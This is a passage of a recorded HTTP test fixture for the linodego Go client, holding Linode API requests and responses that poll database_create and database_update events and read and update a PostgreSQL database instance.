"status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 2139, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "459" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances method: GET response: body: '{"data": [{"id": 28228, "label": "go-postgres-testing-def", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 6, "day_of_week": 6, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "725" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 6, "day_of_week": 6, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "676" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-postgres-testing-def-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":1,"frequency":"monthly","hour_of_day":8,"week_of_month":3}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: PUT response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "472" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "472" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "472" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_update", "username": "zliang27", "entity": {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "472" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 73, "action": "database_update", "username": "zliang27", "entity": {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, 